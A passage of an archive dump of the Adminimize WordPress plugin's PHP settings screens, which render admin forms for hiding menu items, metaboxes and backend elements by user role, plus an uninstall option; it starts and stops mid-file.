$wp_user_search = (array) $wpdb->get_results(
"SELECT ID, user_login, display_name FROM $wpdb->users ORDER BY ID"
);
foreach ( $wp_user_search as $userid ) {
$user_id = (int) $userid->ID;
$user_login = stripslashes( $userid->user_login );
$display_name = stripslashes( $userid->display_name );
$current_color = get_user_option( 'admin_color', $user_id );
$user_level = (int) get_user_option( $table_prefix . 'user_level', $user_id );
$user_object = new WP_User( $user_id );
$roles = $user_object->roles;
$role = array_shift( $roles );
/** @var \WP_Roles $wp_roles */
$role_name = '';
if ( isset( $wp_roles->role_names[ $role ] ) ) {
$role_name = $wp_roles->role_names[ $role ];
}
if ( function_exists( 'translate_user_role' ) ) {
$role_name = translate_user_role( $role_name );
} elseif ( function_exists( 'before_last_bar' ) ) {
$role_name = before_last_bar( $role_name );
} else {
$role_name = strrpos( $role_name, '|' );
}
$return = '';
$return .= '<tr>' . "\n";
$return .= "\t" . '<td class="num"><input type="checkbox" name="mw_adminimize_theme_items[]" value="' . $user_id . '" /></td>' . "\n";
$return .= "\t" . '<td class="num">' . $user_id . '</td>' . "\n";
$return .= "\t" . '<td>' . $user_login . '</td>' . "\n";
$return .= "\t" . '<td>' . $display_name . '</td>' . "\n";
$return .= "\t" . '<td>' . $current_color . '</td>' . "\n";
$return .= "\t" . '<td class="num">' . $user_level . '</td>' . "\n";
$return .= "\t" . '<td>' . $role_name . '</td>' . "\n";
$return .= '</tr>' . "\n";
echo $return;
}
?>
<tr valign="top">
<td class="num"> </td>
<td class="num"> </td>
<td> </td>
<td> </td>
<td>
<label for="_mw_adminimize_set_theme"></label>
<select id="_mw_adminimize_set_theme" name="_mw_adminimize_set_theme">
<?php /** @var array $_wp_admin_css_colors */
foreach ( $_wp_admin_css_colors as $color => $color_info ): ?>
<option value="<?php echo $color; ?>"><?php echo $color_info->name . ' (' . $color . ')' ?></option>
<?php endforeach; ?>
</select>
</td>
<td> </td>
<td> </td>
</tr>
</tbody>
</table>
<p id="submitbutton">
<input type="hidden" name="_mw_adminimize_action" value="_mw_adminimize_set_theme" />
<input type="hidden" name="_mw_adminimize_load" value="_mw_adminimize_load_theme" />
<input type="submit" name="_mw_adminimize_save" value="<?php esc_attr_e(
'Set Theme', 'adminimize'
); ?> »" class="button button-primary" />
</p>
</form>
<?php } ?>
<p>
<a class="alignright button adminimize-scroltop" href="#" style="margin:3px 0 0 30px;"><?php esc_attr_e(
'scroll to top', 'adminimize'
); ?></a><br class="clear" /></p>
</div>
</div>
</div>
inc-options/menu_options.php 0000666 00000025241 15244451347 0012257 0 ustar 00 <?php
/**
* @package Adminimize
* @subpackage Menu, Submenu Options
* @author Frank Bültge
*/
if ( ! function_exists( 'add_action' ) ) {
echo "Hi there! I'm just a part of plugin, not much I can do when called directly.";
exit;
}
?>
<div id="poststuff" class="ui-sortable meta-box-sortables">
<div class="postbox">
<h3 class="hndle ui-sortable-handle" title="<?php esc_attr_e( 'Click to toggle', 'adminimize' ); ?>" id="config_menu"><?php esc_attr_e( 'Menu Options', 'adminimize' ); ?></h3>
<div class="inside">
<br class="clear" />
<table summary="config_menu" class="widefat config_menu">
<colgroup>
<?php
$col = 0;
if ( ! isset( $user_roles_names ) ) {
$user_roles_names = _mw_adminimize_get_all_user_roles_names();
}
foreach ( $user_roles_names as $role_name ) {
echo '<col class="col' . $col . '">' . "\n";
$col ++;
}
?>
</colgroup>
<thead>
<tr>
<th><?php esc_attr_e( 'Menu options - Menu, Submenu', 'adminimize' ); ?></th>
<?php foreach ( $user_roles_names as $role_name ) { ?>
<th><?php esc_attr_e( 'Deactivate for', 'adminimize' );
echo '<br/>' . $role_name; ?></th>
<?php } ?>
</tr>
<tr>
<td><?php esc_attr_e( 'Select all', 'adminimize' ); ?></td>
<?php
if ( ! isset( $user_roles ) ) {
$user_roles = _mw_adminimize_get_all_user_roles();
}
foreach ( $user_roles as $role_slug ) {
echo '<td class="num">';
echo '<span class="form-invalid">';
echo '<input id="select_all" class="menu_options_' . $role_slug
. '" type="checkbox" name="" value="" />';
echo '</span>';
echo '<input id="select_all" class="submenu_options_' . $role_slug
. '" type="checkbox" name="" value="" />';
echo '</td>' . "\n";
} ?>
</tr>
</thead>
<tbody>
<?php
global $menu, $submenu;
$wp_menu = (array) _mw_adminimize_get_option_value( 'mw_adminimize_default_menu' );
$wp_submenu = (array) _mw_adminimize_get_option_value( 'mw_adminimize_default_submenu' );
// Object to array.
if ( is_object( $wp_submenu ) ) {
$wp_submenu = get_object_vars( $wp_submenu );
}
if ( ! isset( $wp_menu ) || empty( $wp_menu ) ) {
$wp_menu = $menu;
}
if ( ! isset( $wp_submenu ) || empty( $wp_submenu ) ) {
$wp_submenu = $submenu;
}
// Enhance Menu with custom slugs.
$own_menu_slug = _mw_adminimize_get_option_value(
'_mw_adminimize_own_menu_slug'
);
$own_menu_custom_slug = _mw_adminimize_get_option_value(
'_mw_adminimize_own_menu_custom_slug'
);
$own_menu_slug = preg_split( "/\r\n/", $own_menu_slug );
$own_menu_custom_slug = preg_split( "/\r\n/", $own_menu_custom_slug );
foreach ( (array) $own_menu_slug as $key => $slug ) {
$wp_menu[] = array(
0 => trim( $slug ),
1 => '',
2 => $own_menu_custom_slug[ $key ],
3 => '',
4 => 'custom',
);
}
foreach ( $user_roles as $role ) {
$disabled_metaboxes_post_[ $role ] = _mw_adminimize_get_option_value(
'mw_adminimize_disabled_metaboxes_post_' . $role . '_items'
);
$disabled_metaboxes_page_[ $role ] = _mw_adminimize_get_option_value(
'mw_adminimize_disabled_metaboxes_page_' . $role . '_items'
);
}
// print menu, sub-menu
if ( isset( $wp_menu ) && '' !== $wp_menu ) {
$i = 0;
$x = 0;
foreach ( $wp_menu as $key => $item ) {
$menu_slug = $item[ 2 ];
// non checked items
$disabled_item_adm = '';
if ( $menu_slug === 'options-general.php' ) {
$disabled_item_adm_hint = '<abbr title="' . esc_attr__(
'After activation of this checkbox you will loose the easy access to the settings area inside the menu.', 'adminimize'
) . '" style="cursor:pointer;"> ! </acronym>';
} else {
$disabled_item_adm_hint = '';
}
if ( '' !== $menu_slug ) {
if ( 'wp-menu-separator' === $item[ 4 ] ) {
$item[ 0 ] = 'Separator';
}
foreach ( $user_roles as $role ) {
// checkbox checked
$checked_user_role_[ $role ] = '';
if ( isset( $disabled_menu_[ $role ] )
&& in_array( $menu_slug, $disabled_menu_[ $role ], FALSE )
) {
$checked_user_role_[ $role ] = ' checked="checked"';
}
}
if ( ! $item[ 0 ] ) {
$item[ 0 ] = '<b><i>' . esc_attr__( 'No Title!', 'adminimize' ) . '</i></b>';
}
$typ = esc_attr__( 'Group', 'adminimize' );
if ( 'custom' === $item[ 4 ] ) {
$typ = esc_attr__( 'Custom', 'adminimize' );
}
echo '<tr class="form-invalid">' . "\n";
echo "\t";
echo '<td>';
echo '<b>• ' . strip_tags( $item[ 0 ] ) . '</b> <small>' . $typ . '</small>';
echo '<span>('
. preg_replace(
'#[%2].*#',
'...',
htmlentities( $menu_slug )
) . ')</span>';
echo '</td>';
foreach ( $user_roles as $role ) {
if ( $role !== 'administrator' ) { // only admin disable items
$disabled_item_adm = '';
$disabled_item_adm_hint = '';
}
/**
* Switch to key of each Menu item
*
* @since 2016-01-29
* Use $key instead of htmlentities( $item[ 2 ] ) in the input field below, attribute value
*/
echo "\t" . '<td class="num">' . $disabled_item_adm_hint . '<input id="check_menu'
. $role . $x . '" class="menu_options_'
. preg_replace( '/[^a-z0-9_-]+/', '', $role ) . '" type="checkbox"'
. $disabled_item_adm . $checked_user_role_[ $role ]
. ' name="mw_adminimize_disabled_menu_' . $role . '_items[]" value="'
. $menu_slug . '" />' . $disabled_item_adm_hint . '</td>' . "\n";
}
echo '</tr>';
$x ++;
if ( ! isset( $wp_submenu[ $menu_slug ] ) ) {
continue;
}
// Loop about Sub Menu items.
foreach ( $wp_submenu[ $menu_slug ] as $subkey => $subitem ) {
// @see https://github.com/bueltge/adminimize/issues/116
if ( is_object( $subitem ) ) {
$subitem = json_decode( json_encode( $subitem ), true );
}
$submenu_slug = $subitem[ 2 ];
// Special solutions for the Adminimize link, that it not works on settings site.
if ( strtolower( $submenu_slug ) === 'adminimize/adminimize.php' ) {
//$disabled_subitem_adm = ' disabled="disabled"';
$disabled_subitem_adm_hint = '<abbr title="' . esc_attr__(
'After activate the checkbox you will loose its easy access in the menu.',
'adminimize'
) . '" style="cursor:pointer;"> ! </acronym>';
} else {
$disabled_subitem_adm = '';
$disabled_subitem_adm_hint = '';
}
echo '<tr>' . "\n";
foreach ( $user_roles as $role ) {
// checkbox checked
$checked_user_role_[ $role ] = '';
if ( isset( $disabled_submenu_[ $role ] )
// @since 2015-11-11
// Switch to custom key and url-slug of menu item.
&& _mw_adminimize_in_arrays(
array( $menu_slug . '__' . $subkey, $submenu_slug ),
$disabled_submenu_[ $role ]
)
) {
$checked_user_role_[ $role ] = ' checked="checked"';
}
}
echo '<td> — ' . strip_tags( $subitem[ 0 ] ) . ' <span>(Slug: '
. preg_replace(
'#[%2].*#',
'...',
htmlentities( $submenu_slug )
) . ')[__' . $subkey . ']</span> </td>' . "\n";
foreach ( $user_roles as $role ) {
if ( $role !== 'administrator' ) { // only admin disable items
$disabled_subitem_adm = '';
$disabled_subitem_adm_hint = '';
}
echo '<td class="num">' . $disabled_subitem_adm_hint . '<input id="check_menu' . $role . $x
. '" class="submenu_options_' . $role . '" type="checkbox"'
. $disabled_subitem_adm . $checked_user_role_[ $role ]
. ' name="mw_adminimize_disabled_submenu_' . $role . '_items[]" value="'
. $menu_slug . '__' . $subkey . '" />' . $disabled_subitem_adm_hint . '</td>' . "\n";
}
echo '</tr>' . "\n";
$x ++;
}
$i ++;
$x ++;
}
}
} else {
$myErrors = new _mw_adminimize_message_class();
$myErrors = '<tr><td style="color: red;">' . $myErrors->get_error(
'_mw_adminimize_get_option'
) . '</td></tr>';
echo $myErrors;
} ?>
</tbody>
</table>
<?php
//Your own dashboard options.
?>
<br style="margin-top: 10px;" />
<table summary="config_edit_post" class="widefat">
<thead>
<tr>
<th><?php esc_attr_e( 'Your own options', 'adminimize' );
echo '<br />';
esc_attr_e( 'Slug', 'adminimize' ); ?></th>
<th><?php echo '<br />';
esc_attr_e( 'Custom Slug', 'adminimize' ); ?></th>
</tr>
</thead>
<tbody>
<tr valign="top">
<td colspan="2"><?php esc_attr_e(
'It is possible to add your own slugs for menu items.',
'adminimize'
); ?></td>
</tr>
<tr valign="top">
<td>
<textarea name="_mw_adminimize_own_menu_slug" cols="60" rows="3"
id="_mw_adminimize_own_menu_slug" style="width: 95%;"><?php
echo _mw_adminimize_get_option_value(
'_mw_adminimize_own_menu_slug'
); ?></textarea>
<br />
<label for="_mw_adminimize_own_menu_slug">
<?php esc_attr_e(
'Possible nomination for the slug. Separate multiple nominations through a carriage return.',
'adminimize'
); ?>
</label>
</td>
<td>
<textarea class="code" name="_mw_adminimize_own_menu_custom_slug" cols="60" rows="3"
id="_mw_adminimize_own_menu_custom_slug" style="width: 95%;"><?php
echo _mw_adminimize_get_option_value(
'_mw_adminimize_own_menu_custom_slug'
); ?></textarea>
<br />
<label for="_mw_adminimize_own_menu_custom_slug">
<?php esc_attr_e(
'String of the custom slug.',
'adminimize'
); ?>
</label>
</td>
</tr>
</tbody>
</table>
<p id="submitbutton">
<input class="button button-primary" type="submit" name="_mw_adminimize_save" value="<?php esc_attr_e(
'Update Options', 'adminimize'
); ?> »" /><input type="hidden" name="page_options" value="'dofollow_timeout'" />
</p>
<p>
<a class="alignright button adminimize-scroltop" href="#" style="margin:3px 0 0 30px;"><?php esc_attr_e(
'scroll to top', 'adminimize'
); ?></a><br class="clear" /></p>
</div>
</div>
</div>
inc-options/backend_options.php 0000666 00000032201 15244451347 0012674 0 ustar 00 <?php
/**
* Backend options, options that works on all back end pages.
*
* @package Adminimize
* @subpackage Backend Options
* @author Frank Bültge
*/
if ( ! function_exists( 'add_action' ) ) {
echo "Hi there! I'm just a part of plugin, not much I can do when called directly.";
exit;
}
?>
<div id="poststuff" class="ui-sortable meta-box-sortables">
<div class="postbox">
<h3 class="hndle ui-sortable-handle" id="backend_options" title="<?php esc_attr_e( 'Click to toggle', 'adminimize' ); ?>"><?php esc_attr_e( 'Backend Options', 'adminimize' ); ?></h3>
<div class="inside">
<?php wp_nonce_field( 'mw_adminimize_nonce' ); ?>
<br class="clear"/>
<table summary="config" class="widefat">
<tbody>
<?php
if ( _mw_adminimize_is_active_on_multisite() && function_exists( 'is_super_admin' )
) {
?>
<tr valign="top">
<td><?php esc_attr_e( 'Exclude Super Admin', 'adminimize' ); ?></td>
<td>
<?php
$_mw_adminimize_exclude_super_admin = _mw_adminimize_get_option_value(
'_mw_adminimize_exclude_super_admin'
);
?>
<label>
<select name="_mw_adminimize_exclude_super_admin">
<option value="0"
<?php
if ( 0 === $_mw_adminimize_exclude_super_admin ) {
echo ' selected="selected"';
}
?>
><?php esc_attr_e( 'Default', 'adminimize' ); ?></option>
<option value="1"
<?php
if ( 1 === $_mw_adminimize_exclude_super_admin ) {
echo ' selected="selected"';
}
?>
><?php esc_attr_e( 'Activate', 'adminimize' ); ?></option>
</select>
</label>
<?php
esc_attr_e(
'Exclude the Super Admin on a WP Multisite Install from all limitations of this plugin.',
'adminimize'
);
?>
</td>
</tr>
<?php } ?>
<tr valign="top">
<td><?php esc_attr_e( 'User-Info', 'adminimize' ); ?></td>
<td>
<?php
$_mw_adminimize_user_info = _mw_adminimize_get_option_value(
'_mw_adminimize_user_info'
);
?>
<label>
<select name="_mw_adminimize_user_info">
<option value="0"
<?php
if ( 0 === $_mw_adminimize_user_info ) {
echo ' selected="selected"';
}
?>
><?php esc_attr_e( 'Default', 'adminimize' ); ?></option>
<option value="1"
<?php
if ( 1 === $_mw_adminimize_user_info ) {
echo ' selected="selected"';
}
?>
><?php esc_attr_e( 'Hide', 'adminimize' ); ?></option>
<option value="2"
<?php
if ( 2 === $_mw_adminimize_user_info ) {
echo ' selected="selected"';
}
?>
><?php esc_attr_e( 'Only logout', 'adminimize' ); ?></option>
<option value="3"
<?php
if ( 3 === $_mw_adminimize_user_info ) {
echo ' selected="selected"';
}
?>
><?php esc_attr_e( 'User & Logout', 'adminimize' ); ?></option>
</select>
</label>
<?php
esc_attr_e(
'The "User-Info-area" is on the top right side of the backend. You can hide or reduced show.',
'adminimize'
);
?>
</td>
</tr>
<?php
if ( ( '' === $_mw_adminimize_user_info ) || ( 1 === $_mw_adminimize_user_info ) || ( 0 === $_mw_adminimize_user_info ) ) {
$disabled_item = ' disabled="disabled"';
}
?>
<tr valign="top">
<td><label
for="_mw_adminimize_ui_redirect"><?php esc_attr_e( 'Change User-Info, redirect to', 'adminimize' ); ?>
</td>
<td>
<?php
$_mw_adminimize_ui_redirect = (int) _mw_adminimize_get_option_value(
'_mw_adminimize_ui_redirect'
);
?>
<select name="_mw_adminimize_ui_redirect" id="_mw_adminimize_ui_redirect"
<?php
if ( isset( $disabled_item ) ) {
// phpcs:disable
echo $disabled_item;
}
?>
>
<option value="0"
<?php
if ( 0 === $_mw_adminimize_ui_redirect ) {
echo ' selected="selected"';
}
?>
>
<?php esc_attr_e( 'Default', 'adminimize' ); ?>
</option>
<option value="1"
<?php
if ( 1 === $_mw_adminimize_ui_redirect ) {
echo ' selected="selected"';
}
?>
>
<?php esc_attr_e( 'Frontpage of the Blog', 'adminimize' ); ?>
</option>
</select>
<?php
esc_attr_e(
'When the "User-Info-area" change it, then it is possible to change the redirect.',
'adminimize'
);
?>
</td>
</tr>
<tr valign="top">
<td><label for="_mw_adminimize_footer"><?php esc_attr_e( 'Footer', 'adminimize' ); ?></label></td>
<td>
<?php $_mw_adminimize_footer = (int) _mw_adminimize_get_option_value( '_mw_adminimize_footer' ); ?>
<select name="_mw_adminimize_footer" id="_mw_adminimize_footer">
<option value="0"
<?php
if ( 0 === $_mw_adminimize_footer ) {
echo ' selected="selected"';
}
?>
>
<?php esc_attr_e( 'Default', 'adminimize' ); ?>
</option>
<option value="1"
<?php
if ( 1 === $_mw_adminimize_footer ) {
echo ' selected="selected"';
}
?>
>
<?php esc_attr_e( 'Hide', 'adminimize' ); ?>
</option>
</select>
<?php
esc_attr_e(
'The Footer-area can hide, include all links and details.', 'adminimize'
);
?>
</td>
</tr>
<tr valign="top">
<td><?php esc_attr_e( 'Timestamp', 'adminimize' ); ?></td>
<td>
<?php
$_mw_adminimize_timestamp = (int) _mw_adminimize_get_option_value(
'_mw_adminimize_timestamp'
);
?>
<label>
<select name="_mw_adminimize_timestamp">
<option value="0"
<?php
if ( 0 === $_mw_adminimize_timestamp ) {
echo ' selected="selected"';
}
?>
><?php esc_attr_e( 'Default', 'adminimize' ); ?></option>
<option value="1"
<?php
if ( 1 === $_mw_adminimize_timestamp ) {
echo ' selected="selected"';
}
?>
><?php esc_attr_e( 'Activate', 'adminimize' ); ?></option>
</select>
</label>
<?php
esc_attr_e(
'Opens the post timestamp editing fields without you having to click the "Edit" link every time.',
'adminimize'
);
?>
</td>
</tr>
<tr valign="top">
<td><?php esc_attr_e( 'Category Height', 'adminimize' ); ?></td>
<td>
<?php
$_mw_adminimize_cat_full = (int) _mw_adminimize_get_option_value(
'_mw_adminimize_cat_full'
);
?>
<label>
<select name="_mw_adminimize_cat_full">
<option value="0"
<?php
if ( 0 === $_mw_adminimize_cat_full ) {
echo ' selected="selected"';
}
?>
><?php esc_attr_e( 'Default', 'adminimize' ); ?></option>
<option value="1"
<?php
if ( 1 === $_mw_adminimize_cat_full ) {
echo ' selected="selected"';
}
?>
><?php esc_attr_e( 'Activate', 'adminimize' ); ?></option>
</select>
</label>
<?php
esc_attr_e(
'View the Meta Box with Categories in the full height, no scrollbar or whitespace.',
'adminimize'
);
?>
</td>
</tr>
<tr valign="top">
<td><?php esc_attr_e( 'Advice in Footer', 'adminimize' ); ?></td>
<td>
<?php $_mw_adminimize_advice = (int) _mw_adminimize_get_option_value( '_mw_adminimize_advice' ); ?>
<label>
<select name="_mw_adminimize_advice">
<option value="0"
<?php
if ( 0 === $_mw_adminimize_advice ) {
echo ' selected="selected"';
}
?>
><?php esc_attr_e( 'Default', 'adminimize' ); ?></option>
<option value="1"
<?php
if ( 1 === $_mw_adminimize_advice ) {
echo ' selected="selected"';
}
?>
><?php esc_attr_e( 'Activate', 'adminimize' ); ?></option>
</select>
</label>
<br>
<label for="_mw_adminimize_advice_txt"></label>
<textarea style="width: 85%;" class="code" rows="1" cols="60" name="_mw_adminimize_advice_txt"
id="_mw_adminimize_advice_txt"><?php echo _mw_adminimize_get_option_value( '_mw_adminimize_advice_txt' ); ?></textarea>
<br/>
<?php
esc_attr_e(
'In the Footer you can display an advice for changing the Default-design, (x)HTML is possible.',
'adminimize'
);
?>
<code>a - (href, title), br, em, strong</code>
</td>
</tr>
<?php
if ( ! isset( $user_roles ) ) {
$user_roles = _mw_adminimize_get_all_user_roles();
}
// If the dashboard will remove.
foreach ( $user_roles as $role ) {
$disabled_menu_[ $role ] = _mw_adminimize_get_option_value(
'mw_adminimize_disabled_menu_' . $role . '_items'
);
$disabled_submenu_[ $role ] = _mw_adminimize_get_option_value(
'mw_adminimize_disabled_submenu_' . $role . '_items'
);
}
$disabled_menu_all = array();
foreach ( $user_roles as $role ) {
if ( ! isset( $disabled_menu_ ) ) {
$disabled_menu_[ $role ] = _mw_adminimize_get_option_value(
'mw_adminimize_disabled_menu_' . $role . '_items'
);
}
if ( ! isset( $disabled_submenu_ ) ) {
$disabled_submenu_[ $role ] = _mw_adminimize_get_option_value(
'mw_adminimize_disabled_submenu_' . $role . '_items'
);
}
$disabled_menu_all[] = $disabled_menu_[ $role ];
$disabled_menu_all[] = $disabled_submenu_[ $role ];
}
if ( '' !== $disabled_menu_all ) {
if ( ! _mw_adminimize_recursive_in_array( 'index.php', $disabled_menu_all ) ) {
$disabled_item2 = ' disabled="disabled"';
}
?>
<tr valign="top">
<td><?php esc_attr_e( 'Dashboard deactivate, redirect to', 'adminimize' ); ?></td>
<td>
<?php
$_mw_adminimize_db_redirect = _mw_adminimize_get_option_value(
'_mw_adminimize_db_redirect'
);
?>
<label>
<select name="_mw_adminimize_db_redirect"
<?php
if ( isset( $disabled_item2 ) ) {
echo $disabled_item2;
}
?>
>
<option value="0"
<?php
if ( $_mw_adminimize_db_redirect === 0 ) {
echo ' selected="selected"';
}
?>
><?php esc_attr_e( 'Default', 'adminimize' ); ?> (profile.php)
</option>
<option value="1"
<?php
if ( $_mw_adminimize_db_redirect === 1 ) {
echo ' selected="selected"';
}
?>
><?php esc_attr_e( 'Manage Posts', 'adminimize' ); ?> (edit.php)
</option>
<option value="2"
<?php
if ( $_mw_adminimize_db_redirect === 2 ) {
echo ' selected="selected"';
}
?>
><?php esc_attr_e( 'Manage Pages', 'adminimize' ); ?> (edit-pages.php)
</option>
<option value="3"
<?php
if ( $_mw_adminimize_db_redirect === 3 ) {
echo ' selected="selected"';
}
?>
><?php esc_attr_e( 'Write Post', 'adminimize' ); ?> (post-new.php)
</option>
<option value="4"
<?php
if ( $_mw_adminimize_db_redirect === 4 ) {
echo ' selected="selected"';
}
?>
><?php esc_attr_e( 'Write Page', 'adminimize' ); ?> (page-new.php)
</option>
<option value="5"
<?php
if ( $_mw_adminimize_db_redirect === 5 ) {
echo ' selected="selected"';
}
?>
><?php esc_attr_e( 'Comments', 'adminimize' ); ?> (edit-comments.php)
</option>
<option value="6"
<?php
if ( $_mw_adminimize_db_redirect === 6 ) {
echo ' selected="selected"';
}
?>
><?php esc_attr_e( 'Other Page', 'adminimize' ); ?></option>
</select>
</label>
<br>
<label for="_mw_adminimize_db_redirect_txt"></label>
<textarea style="width: 85%;" class="code" rows="1" cols="60" name="_mw_adminimize_db_redirect_txt" id="_mw_adminimize_db_redirect_txt"><?php echo htmlspecialchars( stripslashes( _mw_adminimize_get_option_value( '_mw_adminimize_db_redirect_txt' ) ) ); ?></textarea>
<br/>
<?php
esc_attr_e(
'You have deactivated the Dashboard, please select a page for redirection or define custom url, include http://?',
'adminimize'
);
?>
</td>
</tr>
<?php
}
?>
</tbody>
</table>
<p id="submitbutton">
<input class="button button-primary" type="submit" name="_mw_adminimize_save" value="
<?php
esc_attr_e(
'Update Options', 'adminimize'
);
?>
»"/><input type="hidden" name="page_options" value="'dofollow_timeout'"/>
</p>
<p>
<a class="alignright button adminimize-scroltop" href="#" style="margin:3px 0 0 30px;">
<?php
esc_attr_e( 'scroll to top', 'adminimize' );
?>
</a><br class="clear"/>
</p>
</div>
</div>
</div>
inc-options/deinstall_options.php 0000666 00000003457 15244451347 0013277 0 ustar 00 <?php
/**
* @package Adminimize
* @subpackage Uninstall options
* @author Frank Bültge
*/
if ( ! function_exists( 'add_action' ) ) {
echo "Hi there! I'm just a part of plugin, not much I can do when called directly.";
exit;
}
?>
<div id="poststuff" class="ui-sortable meta-box-sortables">
<div class="postbox">
<h3 class="hndle ui-sortable-handle" title="<?php esc_attr_e( 'Click to toggle', 'adminimize' ); ?>" id="uninstall"><?php esc_attr_e( 'Uninstall Options', 'adminimize' ) ?></h3>
<div class="inside">
<p><?php _e(
'Use this option to clean your database from all the entries created by this plugin. Deactivating or uninstalling the plugin <strong>will not</strong> clean the database entries.',
'adminimize'
); // Some grammer correction ?></p>
<form name="deinstall_options" method="post" id="_mw_adminimize_options_deinstall" action="?page=<?php echo esc_attr(
$_GET[ 'page' ]
); ?>">
<?php wp_nonce_field( 'mw_adminimize_nonce' ); ?>
<p id="submitbutton">
<input id="_mw_adminimize_uninstall_yes" type="checkbox" name="_mw_adminimize_uninstall_yes" value="_mw_adminimize_uninstall" /><label for="_mw_adminimize_uninstall_yes"><?php esc_html_e( 'Yes, I know the risks.','adminimize' ) ?><br class="clear"></label>
<input style="margin-top:15px" type="submit" name="_mw_adminimize_uninstall" value="<?php esc_attr_e( 'Delete Options', 'adminimize' ); ?> »" class="button-secondary" />
<input type="hidden" name="_mw_adminimize_action" value="_mw_adminimize_uninstall" />
</p>
</form>
<p>
<a class="alignright button adminimize-scroltop" href="#" style="margin:3px 0 0 30px;">
<?php esc_attr_e( 'scroll to top', 'adminimize' ); ?>
</a><br class="clear" />
</p>
</div>
</div>
</div>
inc-options/write_post_options.php 0000666 00000026056 15244451347 0013517 0 ustar 00 <?php
/**
* @package Adminimize
* @subpackage Post Options
* @author Frank Bültge
*/
if ( ! function_exists( 'add_action' ) ) {
echo "Hi there! I'm just a part of plugin, not much I can do when called directly.";
exit;
}
if ( ! isset( $user_roles ) ) {
$user_roles = _mw_adminimize_get_all_user_roles();
}
if ( ! isset( $user_roles_names ) ) {
$user_roles_names = _mw_adminimize_get_all_user_roles_names();
}
?>
<div id="poststuff" class="ui-sortable meta-box-sortables">
<div class="postbox">
<h3 class="hndle ui-sortable-handle" title="<?php esc_attr_e( 'Click to toggle', 'adminimize' ); ?>" id="config_edit_post" title="<?php esc_attr_e( 'Click to toggle', 'adminimize' ); ?>"><?php
esc_attr_e( 'Write options - Post', 'adminimize' ); ?></h3>
<div class="inside">
<br class="clear" />
<table summary="config_edit_post" class="widefat">
<colgroup>
<?php
$col = 0;
foreach ( (array) $user_roles_names as $role_name ) {
echo '<col class="col' . $col . '">' . "\n";
$col ++;
}
?>
</colgroup>
<thead>
<tr>
<th><?php esc_attr_e( 'Write options - Post', 'adminimize' ); ?></th>
<?php
foreach ( (array) $user_roles_names as $role_name ) { ?>
<th><?php esc_attr_e( 'Deactivate for', 'adminimize' ); echo '<br/>' . $role_name; ?></th>
<?php } ?>
</tr>
<tr>
<td><?php esc_attr_e( 'Select all', 'adminimize' ); ?></td>
<?php
foreach ( (array) $user_roles as $role_slug ) {
echo '<td class="num"><input id="select_all" class="write_post_options_'
. esc_attr( $role_slug ) . '" type="checkbox" name="" value="" /></td>' . "\n";
} ?>
</tr>
</thead>
<tbody>
<?php
$metaboxes = array(
'#contextual-help-link-wrap',
'#screen-options-link-wrap',
'.page-title-action',
'#title, #titlediv, th.column-title, td.title',
'#pageslugdiv',
'#tags, #tagsdiv,#tagsdivsb,#tagsdiv-post_tag, th.column-tags, td.tags',
'#categories, #categorydiv, #categorydivsb, th.column-categories, td.categories',
'#category-add-toggle',
'#date, #datediv, th.column-date, td.date, div.curtime',
'#passworddiv',
'.side-info',
'#notice',
'#post-body h2',
'#media-buttons, #wp-content-media-buttons',
'#wp-word-count',
'#slugdiv,#edit-slug-box',
'#misc-publishing-actions',
'#commentstatusdiv',
'#editor-toolbar #edButtonHTML, #quicktags, #content-html, .wp-switch-editor.switch-html',
);
$post_type = 'post';
foreach ( $GLOBALS[ '_wp_post_type_features' ][ $post_type ] as $post_type_support => $key ) {
if ( post_type_supports( $post_type, $post_type_support )
&& 'excerpt' === $post_type_support
) {
$post_type_support = $post_type . 'excerpt';
}
if ( 'page-attributes' === $post_type_support ) {
$post_type_support = 'pageparentdiv';
}
if ( 'custom-fields' === $post_type_support ) {
$post_type_support = $post_type . 'custom';
}
if ( 'post-formats' === $post_type_support ) {
$post_type_support = 'format';
}
if ( 'editor' === $post_type_support ) {
$post_type_support = 'postdivrich';
}
$metaboxes[] = '#' . $post_type_support
. ', #' . $post_type_support
. 'div, th.column-' . $post_type_support
. ', td.' . $post_type_support; //th and td for raw in edit screen
}
if ( function_exists( 'current_theme_supports' )
&& current_theme_supports(
'post-thumbnails', 'post'
)
) {
$metaboxes[] = '#postimagediv';
}
// quick edit areas, id and class
$quickedit_areas = array(
'div.row-actions, div.row-actions .inline',
'fieldset.inline-edit-col-left',
'fieldset.inline-edit-col-left label',
'fieldset.inline-edit-col-left label.inline-edit-author',
'fieldset.inline-edit-col-left .inline-edit-group',
'fieldset.inline-edit-col-center',
'fieldset.inline-edit-col-center .inline-edit-categories-label',
'fieldset.inline-edit-col-center .category-checklist',
'fieldset.inline-edit-col-right',
'fieldset.inline-edit-col-right .inline-edit-tags',
'fieldset.inline-edit-col-right .inline-edit-group',
'tr.inline-edit-post p.inline-edit-save'
);
$metaboxes = array_merge( $metaboxes, $quickedit_areas );
$metaboxes_names = array(
esc_attr__( 'Help', 'adminimize' ),
esc_attr__( 'Screen Options', 'adminimize' ),
esc_attr__( 'Add New', 'adminimize' ),
esc_attr__( 'Title', 'adminimize' ),
esc_attr__( 'Permalink', 'adminimize' ),
esc_attr__( 'Tags', 'adminimize' ),
esc_attr__( 'Categories', 'adminimize' ),
esc_attr__( 'Add New Category', 'adminimize' ),
esc_attr__( 'Date', 'adminimize' ),
esc_attr__( 'Password Protect This Post', 'adminimize' ),
esc_attr__( 'Related, Shortcuts', 'adminimize' ),
esc_attr__( 'Messages', 'adminimize' ),
esc_attr__( 'h2: Advanced Options', 'adminimize' ),
esc_attr__( 'Media Buttons (all)', 'adminimize' ),
esc_attr__( 'Word count', 'adminimize' ),
esc_attr__( 'Post Slug', 'adminimize' ),
esc_attr__( 'Publish Actions', 'adminimize' ),
esc_attr__( 'Discussion', 'adminimize' ),
esc_attr__( 'HTML Editor Button', 'adminimize' )
);
foreach ( $GLOBALS[ '_wp_post_type_features' ][ $post_type ] as $post_type_support => $key ) {
if ( post_type_supports( $post_type, $post_type_support ) ) {
$metaboxes_names[] = ucfirst( $post_type_support );
}
}
if ( function_exists( 'current_theme_supports' )
&& current_theme_supports(
'post-thumbnails', 'post'
)
) {
$metaboxes_names[] = esc_attr__( 'Post Thumbnail', 'adminimize' );
}
// quick edit names
$quickedit_names = array(
'<strong>' . esc_attr__( 'Quick Edit Link', 'adminimize' ) . '</strong>',
esc_attr__( 'QE', 'adminimize' ) . ' ' . esc_attr__( 'Inline Edit Left', 'adminimize' ),
' ' . esc_attr__( 'QE', 'adminimize' ) . ' ⇒' . ' ' . esc_attr__( 'All Labels', 'adminimize' ),
